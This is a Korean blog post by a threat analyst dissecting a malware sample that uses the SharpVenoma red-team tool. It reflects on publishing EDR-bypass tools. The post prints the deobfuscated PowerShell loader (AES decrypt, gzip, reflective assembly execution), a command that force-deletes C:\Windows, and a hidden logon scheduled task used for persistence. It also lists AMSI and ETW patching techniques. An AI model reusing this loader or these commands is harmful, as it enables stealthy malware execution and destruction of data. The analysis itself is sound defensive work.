오늘도 - (네, 악성코드 그렇게 좋아합니다 ㅎㅎ) - 악성코드 헌팅하다가 재밌어 보이는 샘플 하나 발견해서 자세하게 분석해 봤습니다.
미리 결과를 말하자면, 오픈소스 레드팀(?)툴을 활용해서 다양한 악성코드 배포를 위한 멀웨어였는데 문득 그런 생각이 들었습니다: "레드팀 하는 사람들은 깃허브에서 자기 만든 로더, 새로운 인젝션 방법, EDR 우회 기술 뭐 이거저거 다 올리는데 정말 악당인 사람들이 그걸 가지고 악용하면 어떡하지?"
오해하지 마세요. 저도 레드팀에 관심이 엄청 많고 위협 인텔 관련 일을 안 할 때 C나 Rust로 악성코드 개발 알아보긴 합니다. 다만, 그걸 다 비공개 깃허브에 저장해 두고 만약에 공개한다고 해도 무조건 내가 만든 악성코드를 탐지할 수 있는 YARA 룰이나 비슷한 탐지 기술하고 같이 공개할 것 같습니다.
당연히 레드팀 입장에서 충분히 "아 근데 고마운 줄 알아야지. 우리가 새로운 공격 방법에 대해서 알려 주는데 그걸 왜 몰라줘"라고 할 순 있겠죠?
근데 그런 새로운 "해킹 기술"이 공개됐을 때 이로 benefit을 얻는 사람들 중에 누가 가장 빠를까?
a) 돈을 밝혀서 깃허브 뒤지고 간절히 새로운 "해킹 기술" 필요한 블랙햇 해커
b) 쉬는 시간도 없고, 야근 겁나게 하면서 엔드포인트 몇천 개 관리하는 보안 담당자?
뭐... 답이 뻔하죠?
충분히 논란이 될만한 주제여서 일단 여기까지. 악성코드 봅시다.
당연히, 해쉬를 먼저 공개합니다. 따라해 보고 싶으신 분들 따라해 보시길~ 71f7220fe4aa1304964d7e4845f3e35d33cf4abf120a92c780e47c83f76e7101 (Exploit_Locator.V_1.zip)
일단 딱 봐도, AV 엔진 65개 중 2개만 이 악성코드를 "악성"으로 판단합니다.
파일 다운로드하고, 압축한 후 파일 2개 받습니다.
B032A4909919E85A0A6DBD4A953173CB60C81AE5462F7DD0CFC0370D3D831ADE (Exploit Detector LIST.cmd)
E99E1F8A7E8909B487B162E4DCB4B7E10A82331B0093AD4AB0A894C61C975BD7 (Exploit Locator.cmd)
두 파일의 obfuscation 루틴이 똑같아서 이 분석에서는 Exploit Detector LIST.cmd만 분석해 보겠습니다.
딱 파일 열고 보자마자 뭔가 "하"~하면서 한숨밖에 안 나왔는데 다시 보니까 줄마다 맨 앞에 "쓰레기" 스트링이 있습니다. 그걸 삭제하고 줄 끝에 있는 코드만 신경 써주면 됩니다.
당연히, 수동으로 정리할 수는 있지만 시간이 많이 없을 때 (위 발언 기억나죠? 우리 블루팀이니까 시간이 많이 없쥬?) dynamic한 방법을 선택했습니다.
procmon을 열어 "cmd.exe"와 "powershell.exe" 필터를 걸어놓고 파일 실행해 봅시다.
오케이 좋습니다, 뭔가 하는 짓이 많네요? 그중에 어느 정도 deobfuscate된 코드도 있기를 기도합시다.
확인해 보니 바로 원했던 것을 얻습니다. output이 엄청 이쁘진 않지만 그래도 정리 조금 한 후에 다음과 같은 코드를 획득합니다.
function decrypt_function($param_var) {
$aes_var = [System.Security.Cryptography.Aes]::Create();
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_var.Key = [System.Convert]::FromBase64String('Hp6l3wlmUshUkZtXNKXAsaGYHcWGxsZ2VO0aNdxbC90=');
$aes_var.IV = [System.Convert]::FromBase64String('jg4acYC4bURk2ZxBlocd4A==');
$decryptor_var = $aes_var.CreateDecryptor();
$return_var = $decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
$decryptor_var.Dispose();
$aes_var.Dispose();
$return_var;
}
function decompress_function($param_var) {
IEX '$QEPve=New-Object System.IO.MemoryStream(,$param_var);'.Replace('', '');
IEX '$MFRzi=New-Object System.IO.MemoryStream;'.Replace('', '');
IEX '$JYBIg=New-Object System.IO.Compression.GZipStream($QEPve, [IO.Compression.CompressionMode]::Decompress);'.Replace('', '');
$JYBIg.CopyTo($MFRzi);
$JYBIg.Dispose();
$QEPve.Dispose();
$MFRzi.Dispose();
$MFRzi.ToArray();
}
function execute_function($param_var, $param2_var) {
IEX '$bfJwC=[System.Reflection.Assembly]::Load([byte[]]$param_var);'.Replace('', '');
IEX '$trdjH=$bfJwC.EntryPoint;'.Replace('', '');
IEX '$trdjH.Invoke($null, $param2_var);'.Replace('', '');
}
$PGgph = 'C:\Users\User\Desktop\Exploit Locator.cmd';
$host.UI.RawUI.WindowTitle = $PGgph;
$PYrWJ = [System.IO.File]::ReadAllText($PGgph).Split([Environment]::NewLine);
foreach ($rbzJL in $PYrWJ) {
if ($rbzJL.StartsWith('qeQQWZwFgYDUkcZQUJLv')) {
$wjCgT = $rbzJL.Substring(20);
break;
}
}
$payload1_var = "%hiUBBAvHFhqFILTDpxit%%stkyZZkUeQUTKQyRriia%%ggGKODmhTLJFIDwOXvCB%%pBDOmwVRnblhoinmNAJv%%NdbsholgtKUWFHKEDSxs%%IuURACqAqkbwMgNmAkHY%%lPyCgpBHyIIUcrMtijSF%%XKPjJxkzTxeslzgTWrLl%%aJcIBguutudqscaAZpTI%%ecNaDqJDkTwRyHEoIgHC%%dPfztNZjyGTHxcgYVbel%%wRkAXmSLxMRSHrFpXoGP%%qAeEZPuvAGtHcvgmFFBh%%UoLMObZgxRaGuoUVMGAh%%SxkQtkQlksKsNzVcPsQY%%QnXJFMmNBkAZetpxdUtD%%kNVfhITVtRgtPCrEzBkG%%XdKaSLntkxYUZmNcsSCX%%SrtJdgjCcKXCJMFhdUmw%%uAKVTmuDOomHYnNGJaXL%%BLrzAwkmGGZxFgCsGxQQ%%MFNNxqDwYZxdXAUIjkvx%%chWhpPbSLvamjgZWYDbj%%SNnHjWzemTjvctNEJGxI%%pLKDYlTRBYKFjlEoToXt%%qWGSmEjPsvmrgtUhdKIY%%cIDniEmQPzKuIesseSru%%bdyfLtyPqwljFZqHssJH%%ssaTKSJcbBdktoWZjxCP%%fwAsnBOINKaLiJcIcEvT%%KwOOtaPrcrxUQUCVSIFj%%daoqBrbJmoWFcJfJILYn%%LxFvmfVohgPuZlPJhymc%%ZgeOvSRhPTnhKsxGuTdw%%vNCgyCFRTvBkyVnFsRat%%nOynTIKGNjpouQHlDYqT%%nanurcIOeSnDSKiHoomP%%RYdKfmQHoccuAhgnBeWQ%%ZVCVWMwKIZXoLAboXDpe%%maAcQTcKDVgjswPWwiOs%%QfZoeNIagSpXPRDZvzfd%%KLgMTNVpKeROPWngblXc%%kcELFiuBSQBWdKIfZmur%%SspbaAiSDwXjCcSIgvhL%%suwTDVLeoihOQGjRMDKe%%ZBYwTruaSZZDfJYyWvxf%%PeEuojsVSaVDLcLRvaam%%ALlojEIhHLVqfFpVXDhJ%%YyhRdvSdXhcWvkEdSqlK%%BlohfFxfMQTSSrocDukN%%LFkzJZVUaldHrwiNkaLy%%YMqhnjdeWCAyfxZVaOxg%%JCfBNmAviBRDILOYodmz%%WRYxLFBTxmMvCFPwHOta%%IHVvKWPtIaGXCXkSEHQi%%LHYVPwacWsrzJlRoVCNO%%PilxFOTFvWRaYlpbJZGo%%WMwqJhoqgVWbUbsDwBqa%%CvHZAqBxWPFVWyRcLUNy%%ADyAaQgWSMFiJFMAfxPs%%FQuqpaevjqRBNRAZWhZK%%kEFjkxmrMqXofuSJjikZ%%LKNCUeuSeMEYxeiblkgS%%ONJSsDvsYRQOWZYzRcpg%%cumZMYQamRyZcslXbUkq%%IcTnWPbxgJkjUaPuBJgt%%MvghtRMEOayWSYxaAYcX%%XtUCGoecCRwrOQDnWMUf%%cxIflnrWCPTCHiwtADAe%%MKbXEgicujeNeWUzKPrt%%XizNXUKFtkMsmQtsvLAe%%eoBsKfxKoWJLlggElnaJ%%wDIkwLBoDCeZomoIHgcR%%wZrwBbhfJOghLRIBFqVZ%%EjhLSJxYSxXelinwlmJv%%DwEOvXoxEMdqkdnnSFER%%DinmRcWCDmptHAviEspU%%vaufuGThVaDFIRRvisXt%%aLTrxJIKHfIzqJvDNhRk%%iOHDIJKPIaZmvVUKhdHK%%XjAQrdpZwoHaAMlmdpJN%%YTbHfweuPLwKAgmYoRlE%%tLtusYLJKHGRtULeiSKV%%ZVkKSXAtznXmdetnzHoh%%KvKheFqFviQvgqFyBICv%%xrjwKtNoAyEBEDkEldGn%%GVYqxCgNzUMReTJtlnxK%%RceWDpRDganxcpPCsSZh%%naPFLNwKTRsYGVvEQbNh%%KDGzHoOPdhasnpxRmylQ%%TgJpHpRgTlLqfRwKtqYx%%YGGMQaKqyDrsQWoETrRs%%wIWSvJmvSMyWANSmzWyH%%EBIpUtAjDSQbyFaqJOrh%%NpyLfuRcebfXTjOVZGYb%%jdSaWwxUNBCLFrTpdXkz%%BxeBNThpRfqdPpXKwxOI%%WWpCyurCpzScwyAMYrnd%%oidIlzVqtjSFiBDEhBcs%%BFZsmoHrPlLfkLtNTHrZ%%ybjgHnTUUVEwoUBJjLvX%%SEBhxMuwhQLAkcUAvSKZ%%uMwUGoQpkKEiluhUzbJU%%SwNejemlabnqavDfhHBi%%VemxlDoQVZaujQhXZrKB%%cFpiwnhPQbNSAAZNkpSG%%QvqabThkoFgPWZgqPebX%%vyZTmhUJQuNJzeLGophD%%gXBlVXWAtJXfoUkswwOT%%YxtTSwqSoAbzWyRyWOXo%%ltphwHuETtkSBoEJDHsy%%HdmTHyjQdMvHyzIFilxl%%bLZVqjYITiUovzHhhwAY%
"
$payloads_var = [string[]]$wjCgT.Split('\');
$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));
$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));
$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', ' / ').Replace('@', 'A'))));
execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] (''));
얼마나 좋아~~ 쟈 그럼 어디 한번 봐봅시다잉.
코드의 마지막 줄을 보면 "execute_function"이 나오는데 실행보단 일단 output을 궁금하니 Write-Host를 활용하여 payloads_var 변수에 무엇이 저장되어 있는지 확인합니다.
오케이, 예상대로 잘 되었으니 cyberchef에 넘어갑시다.
코드에서 확인했던 대로 Deobfuscation 과정에 들어갑니다~
a) # --> / 교체
b) @ --> A 교체
c) From Base64
d) AES Decrypt (key --> Hp6l3wlmUshUkZtXNKXAsaGYHcWGxsZ2VO0aNdxbC90=, IV --> jg4acYC4bURk2ZxBlocd4A== (꼭 옆에 Base64로 해줘야 함!!)
오케이, 보니까 gzip 파일이 나오네요? 근데 다음 단계에 넘어가기 전에 아까 그림 2에서 확인했던 Process Tree로 돌아가봅시다
에휴 못 됐어 아주 그냥... 내 C:\Windows 폴더 다 삭제해보려다니! 나빴어!
powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse
작업 스케줄 존재하는지 확인하려는 것 같은데 그런 걸 아직 못 봤는데?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\User\AppData\Local\Temp\SC')
아하, "OneNote startup_str"이라는 작업 스케줄이 생성되며 C:\Users\User\AppData\Roaming\에 저장되어 있는 SCV.cmd라는 파일이 유저 로그인 시 실행됩니다.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\User\AppData\Roaming\SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
오케이 그러면 Cyberchef가 준 파일 봅시다.
00845D20E7582F1B9D38E4C4030E1E3BBB586FB251961C8D90424E4E99D5E85A
NET 바이너리라 DnSpy로 열어본 결과는~
"SharpVenoma"라는 스트링이 보이네요. 분석을 좀 해봤는데 딱 봐도 레드팀툴인 것 같아서 구글 좀 해봤더니 역시 Github Repo가 있었습니다.
흠 뭐... 사실 놀랍지도 않았어요 ㅎㅎ CobaltStrike를 활용하여 "EDR Bypass" 자랑하는 repo네요. (사실 다른 사람들에게 "인터넷 점수"를 받으려고 하는 사람들이 쓰는 EDR Bypass라는 단어에 대해서 블로그 하나 더 쓸 수 있습니다... 근데 이 분은 그런 발언하지 않았기 때문에 일단 참습니다 ㅎㅎ
그러나!!! EDR가 악성코드가 실행됐을 때 바로 탐지 못했다고 해서 EDR Bypass가 아니라고오오오오오!!!! 명심합시다.
오케이, 그러면 이 repo로 다시 돌아가서 기능에 대한 설명 잠깐 봅시다
> DLL Unhooking (Perun's fart)
> ETW Patching
> AMSI Patching
> EnumPageFilesW execution
> Early Bird APC Execution
> Indirect syscall execution
딱 봐도 EDR 우회를 위한 기술들이네요.
1) DLL Unhooking: EDR가 박아두는 훅들을 없애기 위해서 새로운 NTDLL를 프로세스에 로딩합니다
2) ETW Patching: EDR가 많이 사용하는 Event Tracing for Windows을 조작
3) AMSI Patching: AMSI (Antimalware Scan Interface) Bypass를 위한 기술
4) Early Bird APC Execution: 많은 인젝션 기술들 중에 하나
5) Indirect syscall execution: CreateRemoteThread, VirtualAlloc 등 같은 수상한 윈도우 함수를 쓰지 않고, 바로 syscall 활용하는 기술
오케이 이걸 다 정리했으니까 가장 앞에 얘기했던 부분으로 돌아갑시다...
그러면, 악당들이 이런 거 쓰면 어떡해?라는 질문이 계속 머릿속에서 맴돌았는데 VT를 좀 더 뒤져봤더니 비슷한 파일 2개 더 나왔습니다.
6949177ca08001b0f3f514acf7130a1c05869349f104980f139ec2f1a79315d8 6c3843a35249f3a20f1861f3c2397a0021618c8aad12019fb4f6e495f4df2a24
첫 번째 해쉬만 보겠습니다:
완전 똑같은 파일이라 분석은 다시 하진 않지만 행위를 봤을 때 눈에 띄는 IP 하나가 있었습니다.
별 설명 없이 바로 Censys의 output 보여드립니다. QuasarRAT이라는 악성코드와 관련이 있네요. No comment하겠습니다.
그리고 Censys가 캐치한 QuasarRAT 수는 얼마나 될까?
120개... 오케이
그러면, 오늘의 수학여행은 여기까지
몇 가지 다시 말하자면:
1) Red Team 까는 내용이 아닙니다. 저도 많이 좋아하는 분야이기도 하고 훌륭한 분석가가 되기 위해서 "알아야 한단다 다크사이드도"라고 요다 선생님이 말해주지 않을까요? 아마 아니겠지만 갑자기 스타워즈 생각나서요... ㅋㅋㅋ
2) 레드팀툴 공개할 때 적어도 탐지룰이나 로직 같이 알려줍시다.